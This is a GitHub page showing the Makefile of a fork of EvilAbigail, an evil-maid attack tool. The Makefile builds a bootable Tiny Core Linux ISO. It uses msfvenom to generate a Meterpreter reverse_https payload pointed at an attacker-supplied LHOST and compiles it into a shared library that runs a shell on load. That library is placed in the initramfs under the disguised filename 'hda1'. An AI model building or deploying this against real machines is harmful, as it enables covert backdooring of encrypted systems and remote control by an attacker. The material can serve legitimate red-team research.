forked from AonCyberLabs/EvilAbigail
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Makefile
executable file
·54 lines (42 loc) · 1.6 KB
/
Makefile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
.PHONY: all build iso clean FORCE
# run with LHOST=w.x.y.z
FILENAME=hda1
WAIT=90
CFLAGS+=-shared -Wall -Werror -fpic -Wl,-init,shell -std=c99 -DWAIT=$(WAIT) -DFILENAME="\"$(FILENAME)\""
CC=gcc
all: iso
build: rev.so
iso: EvilAbigail.iso
clean:
rm -f core.d/evilmaid.py core.d/rev.so core.gz EvilAbigail.iso .lhost payload.h rev.so
FORCE:
core.d/%: % # evilmaid.py: evilmaid.py
sudo cp $(@F) $@
core.d/rev.so: rev.so
sudo cp $< core.d/$(FILENAME)
core.gz: core.d core.d/evilmaid.py core.d/rev.so
cd core.d && sudo find . -mindepth 1 | cut -c3- | sudo cpio -o -H newc --quiet | gzip > ../$@
Core-current/boot/core.gz: core.gz | Core-current/boot
sudo cp core.gz $@
EvilAbigail.iso: Core-current Core-current/boot/core.gz Core-current/boot/isolinux/isolinux.bin Core-current/boot/isolinux/boot.cat
@rm -f $@
sudo mkisofs -l -J -R -V TC-custom -input-charset utf8 -no-emul-boot -boot-load-size 4 -boot-info-table -b boot/isolinux/isolinux.bin -c boot/isolinux/boot.cat -quiet -o $@ Core-current
Core-current: | Core-current.iso
${error Copy the contents of Core-current.iso into Core-current}
core.d:
@mkdir -p core.d
@cd core.d && gunzip -c ../Core-current/boot/core.gz | sudo cpio -id --quiet
.lhost: FORCE
ifeq (${strip $(LHOST)},)
${error Please specify LHOST}
endif
@echo $(LHOST) > [email protected]
@cmp -s $@ [email protected] || mv [email protected] $@
@rm -f [email protected]
payload.h: .lhost
msfvenom -f raw -p python/meterpreter/reverse_https LHOST=$(LHOST) 2>/dev/null | sed 's/^/\#define PAYLOAD "/;s/$$/"\n/' > $@
rev.so: payload.h
%.so: %.c
$(CC) $(CFLAGS) $< -o $@
%.tcz:
wget http://distro.ibiblio.org/tinycorelinux/6.x/x86/tcz/$(@F)